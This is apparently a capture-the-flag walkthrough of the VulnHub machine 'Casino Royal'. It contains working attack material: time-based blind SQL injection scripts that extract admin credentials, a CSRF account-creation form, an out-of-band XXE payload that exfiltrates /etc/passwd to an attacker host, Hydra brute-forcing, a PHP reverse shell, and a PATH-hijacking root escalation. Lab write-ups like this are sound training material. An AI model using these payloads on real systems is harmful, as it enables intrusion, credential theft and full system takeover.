Casino Royal - VulnHub
Introduction
On this machine, we are exploiting Insecure Cookie Handling, Time-Based SQL Injection, DOM XXE, and SUID with PATH Hijacking. Additionally, we performed brute force on an FTP user and achieved a file upload with a bypass.
Reconnaissance
- Nmap
nmap -sS --open -p- --min-rate 5000 -vvv -n -Pn 192.168.1.147
- Vulnerability and version scan
nmap -sCV -p21,25,80,8081 192.168.1.147
- Gobuster
gobuster dir -u http://192.168.1.147/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -b 403,404
- Searchsploit
searchsploit pokermax
searchsploit -x php/webapps/6766.txt
Exploitation
- Insecure Cookie Handling (OPTION 1)
- Find SQLI Time Based (OPTION 2)
- Python script to get all databases
#!/usr/bin/env python3
import requests
import signal
import sys
import string
import time
from pwn import *
def def_handler(sig,frame):
print("\n\n[!] Exiting...\n")
sys.exit(1)
signal.signal(signal.SIGINT,def_handler)
url = "http://192.168.1.147/pokeradmin/"
characters = string.ascii_lowercase + "_,-" + string.digits
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
def SQLI():
p1=log.progress("Brute Force")
p1.status("Starting Attack")
time.sleep(2)
p2=log.progress("Data")
info=""
for position in range(1,1000):
for character in characters:
data = {
'op': 'adminlogin',
'username' : f"admin'and if(substring((select group_concat(schema_name) from information_schema.schemata),{position},1)='{character}',sleep(0.3),1)-- -",
'password' : 'test'}
old_time=time.time()
r = requests.post(url,data=data,headers=headers)
new_time=time.time()
if new_time-old_time >0.2:
info+=character
p2.status(info)
break
SQLI()
python3 sqlidb.py
- Python script to get actual database tables
#!/usr/bin/env python3
import requests
import signal
import sys
import string
import time
from pwn import *
def def_handler(sig,frame):
print("\n\n[!] Exiting...\n")
sys.exit(1)
signal.signal(signal.SIGINT,def_handler)
url = "http://192.168.1.147/pokeradmin/"
characters = string.ascii_lowercase + "_,-" + string.digits
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
def SQLI():
p1=log.progress("Brute Force")
p1.status("Starting Attack")
time.sleep(2)
p2=log.progress("Data")
info=""
for position in range(1,1000):
for character in characters:
data = {
'op': 'adminlogin',
'username' : f"admin'and if(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),{position},1)='{character}',sleep(0.3),1)-- -",
'password' : 'test'}
old_time=time.time()
r = requests.post(url,data=data,headers=headers)
new_time=time.time()
if new_time-old_time >0.2:
info+=character
p2.status(info)
break
SQLI()
python3 sqlitables.py
- Python script to get pokermax_admin columns
#!/usr/bin/env python3
import requests
import signal
import sys
import string
import time
from pwn import *
def def_handler(sig,frame):
print("\n\n[!] Exiting...\n")
sys.exit(1)
signal.signal(signal.SIGINT,def_handler)
url = "http://192.168.1.147/pokeradmin/"
characters = string.ascii_lowercase + "_,-" + string.digits
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
def SQLI():
p1=log.progress("Brute Force")
p1.status("Starting Attack")
time.sleep(2)
p2=log.progress("Data")
info=""
for position in range(1,1000):
for character in characters:
data = {
'op': 'adminlogin',
'username' : f"admin'and if(substring((select group_concat(column_name) from information_schema.columns where table_name='pokermax_admin'),{position},1)='{character}',sleep(0.3),1)-- -",
'password' : 'test'}
old_time=time.time()
r = requests.post(url,data=data,headers=headers)
new_time=time.time()
if new_time-old_time >0.2:
info+=character
p2.status(info)
break
SQLI()
python3 sqlicolumns.py
- Python script to get username and password
#!/usr/bin/env python3
import requests
import signal
import sys
import string
import time
from pwn import *
def def_handler(sig,frame):
print("\n\n[!] Exiting...\n")
sys.exit(1)
signal.signal(signal.SIGINT,def_handler)
url = "http://192.168.1.147/pokeradmin/"
characters = string.ascii_lowercase + "_,-:" + string.digits
headers = {
"Content-Type": "application/x-www-form-urlencoded",
}
def SQLI():
p1=log.progress("Brute Force")
p1.status("Starting Attack")
time.sleep(2)
p2=log.progress("Data")
info=""
for position in range(1,1000):
for character in characters:
data = {
'op': 'adminlogin',
'username' : f"admin'and if(substring((select group_concat(username,':',password) from pokermax_admin),{position},1)='{character}',sleep(0.3),1)-- -",
'password' : 'test'}
old_time=time.time()
r = requests.post(url,data=data,headers=headers)
new_time=time.time()
if new_time-old_time >0.2:
info+=character
p2.status(info)
break
SQLI()
python3 sqlidata.py
- Find leaked data
echo "192.168.1.147 casino-royale.local" >> /etc/hosts
- Searchsploit
searchsploit snowfox
searchsploit -m php/webapps/35301.html
- CSRF
<html>
<body>
<form action="http://casino-royale.local/vip-client-portfolios/?uri=admin/accounts/create" method="POST">
<input type="hidden" name="emailAddress" value="lab@zeroscience.mk" />
<input type="hidden" name="verifiedEmail" value="verified" />
<input type="hidden" name="username" value="pyuser" />
<input type="hidden" name="newPassword" value="pyuser123" />
<input type="hidden" name="confirmPassword" value="pyuser123" />
<input type="hidden" name="userGroups[]" value="34" />
<input type="hidden" name="userGroups[]" value="33" />
<input type="hidden" name="memo" value="CSRFmemo" />
<input type="hidden" name="status" value="1" />
<input type="hidden" name="formAction" value="submit" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>
telnet 192.168.1.147 25
python3 -m http.server 80
- Find leaked data
- FInd XXE Out-of-Band (OOB)
python3 -m http.server 80
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://192.168.1.142/?file=%file;'>">
%eval;
%exfil;
python3 -m http.server 80
echo "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovYmluL3NoCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC10aW1lc3luYzp4OjEwMDoxMDI6c3lzdGVtZCBUaW1lIFN5bmNocm9uaXphdGlvbiwsLDovcnVuL3N5c3RlbWQ6L2Jpbi9mYWxzZQpzeXN0ZW1kLW5ldHdvcms6eDoxMDE6MTAzOnN5c3RlbWQgTmV0d29yayBNYW5hZ2VtZW50LCwsOi9ydW4vc3lzdGVtZC9uZXRpZjovYmluL2ZhbHNlCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDQ6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQvcmVzb2x2ZTovYmluL2ZhbHNlCnN5c3RlbWQtYnVzLXByb3h5Ong6MTAzOjEwNTpzeXN0ZW1kIEJ1cyBQcm94eSwsLDovcnVuL3N5c3RlbWQ6L2Jpbi9mYWxzZQpfYXB0Ong6MTA0OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpydGtpdDp4OjEwNToxMDk6UmVhbHRpbWVLaXQsLCw6L3Byb2M6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTA2OjExMDo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCnVzYm11eDp4OjEwNzo0Njp1c2JtdXggZGFlbW9uLCwsOi92YXIvbGliL3VzYm11eDovYmluL2ZhbHNlCnNwZWVjaC1kaXNwYXRjaGVyOng6MTA4OjI5OlNwZWVjaCBEaXNwYXRjaGVyLCwsOi92YXIvcnVuL3NwZWVjaC1kaXNwYXRjaGVyOi9iaW4vZmFsc2UKbGlnaHRkbTp4OjEwOToxMTM6TGlnaHQgRGlzcGxheSBNYW5hZ2VyOi92YXIvbGliL2xpZ2h0ZG06L2Jpbi9mYWxzZQpwdWxzZTp4OjExMDoxMTQ6UHVsc2VBdWRpbyBkYWVtb24sLCw6L3Zhci9ydW4vcHVsc2U6L2Jpbi9mYWxzZQphdmFoaTp4OjExMToxMTc6QXZhaGkgbUROUyBkYWVtb24sLCw6L3Zhci9ydW4vYXZhaGktZGFlbW9uOi9iaW4vZmFsc2UKc2FuZWQ6eDoxMTI6MTE4OjovdmFyL2xpYi9zYW5lZDovYmluL2ZhbHNlCmxlOng6MTAwMDoxMDAwOkxlIENoaWZmcmUsLCw6L2hvbWUvbGU6L2Jpbi9iYXNoCm15c3FsOng6MTEzOjEyMDpNeVNRTCBTZXJ2ZXIsLCw6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKdmFsZW5rYTp4OjEwMDE6MTAwMTosLCw6L2hvbWUvdmFsZW5rYTovYmluL2Jhc2gKcG9zdGZpeDp4OjExNDoxMjE6Oi92YXIvc3Bvb2wvcG9zdGZpeDovYmluL2ZhbHNlCmZ0cDp4OjExNToxMjQ6ZnRwIGRhZW1vbiwsLDovc3J2L2Z0cDovYmluL2ZhbHNlCmZ0cFVzZXJVTFRSQTp4OjEwMDI6MTAwMjo6L3Zhci93d3cvaHRtbC91bHRyYS1hY2Nlc3MtdmlldzovYmluL2Jhc2gK" | base64 -d;echo
- Hydra
hydra -l ftpUserULTRA -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.147 -t 50
- Reverse shell
<?php system('bash -c "bash -i >& /dev/tcp/192.168.1.142/9000 0>&1"')?>
ftp 192.168.1.147
nc -nlvp 9000
Post-exploitation
- Search SUID files
find / -perm -4000 -ls 2>/dev/null
cd /opt/casino-royale/
./mi6_detect_test
This script run ps command, we can try PATH Hijacking
- PATH Hijacking
export PATH=/tmp/:$PATH
echo "bash -i >& /dev/tcp/192.168.1.142/4444 0>&1" > /tmp/ps
chmod +x /tmp/ps
./mi6_detect_test
nc -nlvp 4444